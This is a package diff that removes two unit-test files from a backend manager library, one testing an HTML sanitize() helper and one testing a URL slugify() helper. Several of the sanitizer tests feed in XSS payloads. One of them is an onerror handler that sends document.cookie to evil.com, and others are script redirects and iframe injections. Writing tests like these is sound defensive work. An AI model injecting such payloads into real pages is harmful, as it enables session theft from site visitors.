backend-manager 5.9.5 → 5.9.7

package/test/helpers/sanitize.js

@@ -1,222 +0,0 @@
-/**
- * Test: helpers/utilities.sanitize()
- * Unit tests for HTML sanitization and trimming across all data types
- *
- * Run: npx mgr test helpers/sanitize
- *
- * Covers:
- * - Pure schema fields (sanitized by default, opt-out with sanitize: false)
- * - All non-schema fields (no schema, sanitize everything)
- * - Combo: schema + non-schema fields together
- */
-const Utilities = require('../../src/manager/helpers/utilities.js');
-
-// Mock Manager
-const Manager = { libraries: {} };
-const utilities = new Utilities(Manager);
-
-module.exports = {
-  description: 'Utilities.sanitize()',
-  type: 'group',
-
-  tests: [
-    // ─── Strings ───
-
-    {
-      name: 'strips-script-tags',
-      async run({ assert }) {
-        const result = utilities.sanitize('<script>alert("xss")</script>hello');
-        assert.equal(result, 'hello', 'Should strip script tags');
-      },
-    },
-
-    {
-      name: 'strips-img-onerror',
-      async run({ assert }) {
-        const result = utilities.sanitize('<img src=x onerror="alert(1)">text');
-        assert.equal(result, 'text', 'Should strip img with onerror');
-      },
-    },
-
-    {
-      name: 'strips-nested-html-keeps-text',
-      async run({ assert }) {
-        const result = utilities.sanitize('<div><b>bold</b> and <i>italic</i></div>');
-        assert.equal(result, 'bold and italic', 'Should strip all tags but keep text');
-      },
-    },
-
-    {
-      name: 'trims-whitespace',
-      async run({ assert }) {
-        const result = utilities.sanitize('  hello world  ');
-        assert.equal(result, 'hello world', 'Should trim');
-      },
-    },
-
-    {
-      name: 'strips-and-trims-together',
-      async run({ assert }) {
-        const result = utilities.sanitize('  <b>hello</b>  ');
-        assert.equal(result, 'hello', 'Should strip tags and trim');
-      },
-    },
-
-    {
-      name: 'clean-string-unchanged',
-      async run({ assert }) {
-        const result = utilities.sanitize('just plain text');
-        assert.equal(result, 'just plain text', 'Clean string should pass through');
-      },
-    },
-
-    {
-      name: 'empty-string-unchanged',
-      async run({ assert }) {
-        const result = utilities.sanitize('');
-        assert.equal(result, '', 'Empty string should remain empty');
-      },
-    },
-
-    // ─── Primitives ───
-
-    {
-      name: 'null-returns-null',
-      async run({ assert }) {
-        assert.equal(utilities.sanitize(null), null, 'null should pass through');
-      },
-    },
-
-    {
-      name: 'undefined-returns-undefined',
-      async run({ assert }) {
-        assert.equal(utilities.sanitize(undefined), undefined, 'undefined should pass through');
-      },
-    },
-
-    {
-      name: 'number-passes-through',
-      async run({ assert }) {
-        assert.equal(utilities.sanitize(42), 42, 'Numbers should pass through');
-      },
-    },
-
-    {
-      name: 'boolean-passes-through',
-      async run({ assert }) {
-        assert.equal(utilities.sanitize(true), true, 'Booleans should pass through');
-      },
-    },
-
-    // ─── Non-schema objects (sanitize everything) ───
-
-    {
-      name: 'flat-object-sanitizes-all-strings',
-      async run({ assert }) {
-        const result = utilities.sanitize({
-          name: '<b>Evil Corp</b>',
-          count: 5,
-          active: true,
-        });
-        assert.equal(result.name, 'Evil Corp', 'Should strip HTML from name');
-        assert.equal(result.count, 5, 'Number should pass through');
-        assert.equal(result.active, true, 'Boolean should pass through');
-      },
-    },
-
-    {
-      name: 'deeply-nested-object-sanitizes',
-      async run({ assert }) {
-        const result = utilities.sanitize({
-          settings: {
-            brand: {
-              name: '<script>xss</script>Acme',
-              about: '<img src=x onerror=alert(1)>We sell stuff',
-            },
-            enabled: true,
-          },
-        });
-        assert.equal(result.settings.brand.name, 'Acme', 'Should strip deep nested script');
-        assert.equal(result.settings.brand.about, 'We sell stuff', 'Should strip deep nested img');
-        assert.equal(result.settings.enabled, true, 'Deep boolean should pass through');
-      },
-    },
-
-    // ─── Arrays ───
-
-    {
-      name: 'array-sanitizes-each-string',
-      async run({ assert }) {
-        const result = utilities.sanitize(['<b>one</b>', 'two', '<script>x</script>three']);
-        assert.equal(result[0], 'one', 'First element stripped');
-        assert.equal(result[1], 'two', 'Clean element unchanged');
-        assert.equal(result[2], 'three', 'Third element stripped');
-      },
-    },
-
-    {
-      name: 'array-of-objects',
-      async run({ assert }) {
-        const result = utilities.sanitize([
-          { name: '<b>Alice</b>' },
-          { name: '<i>Bob</i>' },
-        ]);
-        assert.equal(result[0].name, 'Alice', 'First object name stripped');
-        assert.equal(result[1].name, 'Bob', 'Second object name stripped');
-      },
-    },
-
-    {
-      name: 'mixed-array-types',
-      async run({ assert }) {
-        const result = utilities.sanitize(['<b>text</b>', 42, null, true]);
-        assert.equal(result[0], 'text', 'String stripped');
-        assert.equal(result[1], 42, 'Number passed through');
-        assert.equal(result[2], null, 'null passed through');
-        assert.equal(result[3], true, 'Boolean passed through');
-      },
-    },
-
-    // ─── XSS attack vectors ───
-
-    {
-      name: 'xss-event-handler',
-      async run({ assert }) {
-        assert.equal(utilities.sanitize('<div onmouseover="alert(1)">hover me</div>'), 'hover me');
-      },
-    },
-
-    {
-      name: 'xss-iframe',
-      async run({ assert }) {
-        assert.equal(utilities.sanitize('<iframe src="evil.com"></iframe>safe'), 'safe');
-      },
-    },
-
-    {
-      name: 'xss-svg-onload',
-      async run({ assert }) {
-        const result = utilities.sanitize('<svg onload="alert(1)">test</svg>');
-        assert.equal(result.includes('onload'), false, 'Should not contain onload');
-      },
-    },
-
-    {
-      name: 'xss-full-agent-creation-payload',
-      async run({ assert }) {
-        const result = utilities.sanitize({
-          name: '<img src=x onerror="fetch(\'https://evil.com?c=\'+document.cookie)">Agent',
-          welcomeMessage: 'Hello <script>document.location="https://evil.com"</script>',
-          brand: {
-            name: '"><script>alert("xss")</script>',
-            about: '<iframe src="https://evil.com"></iframe>About us',
-          },
-        });
-        assert.equal(result.name, 'Agent', 'name should be clean');
-        assert.equal(result.welcomeMessage.includes('<script>'), false, 'welcomeMessage should not have script');
-        assert.equal(result.brand.name.includes('<script>'), false, 'brand.name should not have script');
-        assert.equal(result.brand.about, 'About us', 'brand.about should be clean');
-      },
-    },
-  ],
-};

package/test/helpers/slugify.js

@@ -1,394 +0,0 @@
-/**
- * Test: helpers/utilities.slugify()
- * Unit tests for the canonical URL slug builder.
- *
- * Run: npx mgr test helpers/slugify
- *
- * slugify is the SSOT used by:
- *   - BEM admin/post (legacy + modern) for URL + image filenames
- *   - Sponsorship platform validator.buildFormatted()
- *
- * Contract:
- *   - Strip all non-alphanumeric characters → replace with `-`
- *   - Collapse runs of `-` into a single `-`
- *   - Trim leading/trailing `-`
- *   - Lowercase the result
- *   - Non-string input → empty string
- */
-const Utilities = require('../../src/manager/helpers/utilities.js');
-
-const Manager = { libraries: {} };
-const utilities = new Utilities(Manager);
-
-module.exports = {
-  description: 'Utilities.slugify()',
-  type: 'group',
-
-  tests: [
-    // ─── Basic happy path ───
-
-    {
-      name: 'lowercases-simple-string',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Hello World'), 'hello-world');
-      },
-    },
-
-    {
-      name: 'preserves-numbers',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Top 10 Products 2025'), 'top-10-products-2025');
-      },
-    },
-
-    {
-      name: 'already-a-slug-passes-through',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('already-a-slug'), 'already-a-slug');
-      },
-    },
-
-    {
-      name: 'single-word-unchanged',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('hello'), 'hello');
-      },
-    },
-
-    // ─── The bug that drove this: collapse runs of `-` ───
-
-    {
-      name: 'collapses-double-dashes-from-literal-hyphen-space',
-      async run({ assert }) {
-        // The real-world example: "Copy- Paste" produced "copy--paste" before the fix
-        assert.equal(
-          utilities.slugify('AI Study Prompts That Work: Copy- Paste Questions for Every Subject'),
-          'ai-study-prompts-that-work-copy-paste-questions-for-every-subject',
-        );
-      },
-    },
-
-    {
-      name: 'collapses-many-consecutive-dashes',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('foo---bar'), 'foo-bar');
-        assert.equal(utilities.slugify('foo-----bar'), 'foo-bar');
-      },
-    },
-
-    {
-      name: 'collapses-mixed-runs-of-special-chars',
-      async run({ assert }) {
-        // " / - / " → multiple non-alphanum → all become one `-`
-        assert.equal(utilities.slugify('foo / - / bar'), 'foo-bar');
-      },
-    },
-
-    // ─── Leading/trailing trim ───
-
-    {
-      name: 'strips-leading-and-trailing-spaces',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('  hello world  '), 'hello-world');
-      },
-    },
-
-    {
-      name: 'strips-leading-and-trailing-dashes',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('---hello---'), 'hello');
-      },
-    },
-
-    {
-      name: 'strips-leading-slash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('/foo/bar'), 'foo-bar');
-      },
-    },
-
-    {
-      name: 'strips-trailing-slash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('foo/bar/'), 'foo-bar');
-      },
-    },
-
-    {
-      name: 'strips-both-slashes',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('/foo/bar/'), 'foo-bar');
-      },
-    },
-
-    // ─── Punctuation ───
-
-    {
-      name: 'colon-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Title: Subtitle'), 'title-subtitle');
-      },
-    },
-
-    {
-      name: 'comma-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('one, two, three'), 'one-two-three');
-      },
-    },
-
-    {
-      name: 'question-mark-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('What is AI?'), 'what-is-ai');
-      },
-    },
-
-    {
-      name: 'exclamation-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Hello World!'), 'hello-world');
-      },
-    },
-
-    {
-      name: 'period-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('v1.2.3'), 'v1-2-3');
-      },
-    },
-
-    {
-      name: 'apostrophe-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify("don't stop"), 'don-t-stop');
-      },
-    },
-
-    {
-      name: 'quotes-become-dashes',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('"Hello" said the dog'), 'hello-said-the-dog');
-      },
-    },
-
-    {
-      name: 'parens-become-dashes',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Function (advanced)'), 'function-advanced');
-      },
-    },
-
-    {
-      name: 'brackets-become-dashes',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Array[0] access'), 'array-0-access');
-      },
-    },
-
-    {
-      name: 'ampersand-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Salt & Pepper'), 'salt-pepper');
-      },
-    },
-
-    {
-      name: 'hash-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('issue #42'), 'issue-42');
-      },
-    },
-
-    {
-      name: 'at-sign-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('user@example.com'), 'user-example-com');
-      },
-    },
-
-    // ─── Unicode / non-ASCII ───
-
-    {
-      name: 'em-dash-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Title — Subtitle'), 'title-subtitle');
-      },
-    },
-
-    {
-      name: 'curly-quotes-become-dashes',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('“Hello”'), 'hello');
-      },
-    },
-
-    {
-      name: 'emoji-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('Rocket 🚀 launch'), 'rocket-launch');
-      },
-    },
-
-    {
-      name: 'accented-chars-become-dashes',
-      async run({ assert }) {
-        // Slugify is ASCII-only by design — accents get stripped to dashes
-        // (Future improvement could be to transliterate, but current behavior is documented here)
-        assert.equal(utilities.slugify('café'), 'caf');
-      },
-    },
-
-    // ─── Whitespace variants ───
-
-    {
-      name: 'tab-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('foo\tbar'), 'foo-bar');
-      },
-    },
-
-    {
-      name: 'newline-becomes-dash',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('foo\nbar'), 'foo-bar');
-      },
-    },
-
-    {
-      name: 'multiple-spaces-collapse',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('foo    bar'), 'foo-bar');
-      },
-    },
-
-    {
-      name: 'mixed-whitespace-collapses',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('foo \t \n bar'), 'foo-bar');
-      },
-    },
-
-    // ─── Edge cases / non-string input ───
-
-    {
-      name: 'empty-string-returns-empty',
-      async run({ assert }) {
-        assert.equal(utilities.slugify(''), '');
-      },
-    },
-
-    {
-      name: 'all-punctuation-returns-empty',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('!@#$%^&*()'), '');
-      },
-    },
-
-    {
-      name: 'only-dashes-returns-empty',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('-----'), '');
-      },
-    },
-
-    {
-      name: 'only-whitespace-returns-empty',
-      async run({ assert }) {
-        assert.equal(utilities.slugify('   '), '');
-      },
-    },
-
-    {
-      name: 'null-returns-empty-string',
-      async run({ assert }) {
-        assert.equal(utilities.slugify(null), '');
-      },
-    },
-
-    {
-      name: 'undefined-returns-empty-string',
-      async run({ assert }) {
-        assert.equal(utilities.slugify(undefined), '');
-      },
-    },
-
-    {
-      name: 'number-returns-empty-string',
-      async run({ assert }) {
-        // Non-string input → empty string (caller is responsible for stringifying)
-        assert.equal(utilities.slugify(42), '');
-      },
-    },
-
-    {
-      name: 'object-returns-empty-string',
-      async run({ assert }) {
-        assert.equal(utilities.slugify({ foo: 'bar' }), '');
-      },
-    },
-
-    {
-      name: 'array-returns-empty-string',
-      async run({ assert }) {
-        assert.equal(utilities.slugify(['hello']), '');
-      },
-    },
-
-    // ─── Real-world examples ───
-
-    {
-      name: 'real-blog-post-title',
-      async run({ assert }) {
-        assert.equal(
-          utilities.slugify('10 Best Productivity Apps for Students in 2025'),
-          '10-best-productivity-apps-for-students-in-2025',
-        );
-      },
-    },
-
-    {
-      name: 'real-blog-post-with-colon-and-slash',
-      async run({ assert }) {
-        assert.equal(
-          utilities.slugify('Beginner\'s Guide: Python vs JavaScript'),
-          'beginner-s-guide-python-vs-javascript',
-        );
-      },
-    },
-
-    {
-      name: 'real-image-alt-text',
-      async run({ assert }) {
-        // The downloadImage() caller uses slugify(alt) to build a tmp filename
-        assert.equal(
-          utilities.slugify('Diagram showing the user flow (v2)'),
-          'diagram-showing-the-user-flow-v2',
-        );
-      },
-    },
-
-    {
-      name: 'real-url-with-blog-prefix-removed-first',
-      async run({ assert }) {
-        // Mimics how callers strip "blog/" before slugifying
-        const url = 'blog/some-existing-post';
-        assert.equal(
-          utilities.slugify(url.replace(/blog\//ig, '')),
-          'some-existing-post',
-        );
-      },
-    },
-
-    // ─── Idempotency ───
-
-    {
-      name: 'idempotent-double-slugify',
-      async run({ assert }) {
-        const once = utilities.slugify('Hello World: Foo & Bar!');
-        const twice = utilities.slugify(once);
-        assert.equal(twice, once, 'Applying slugify twice should equal applying it once');
-      },
-    },
-  ],
-};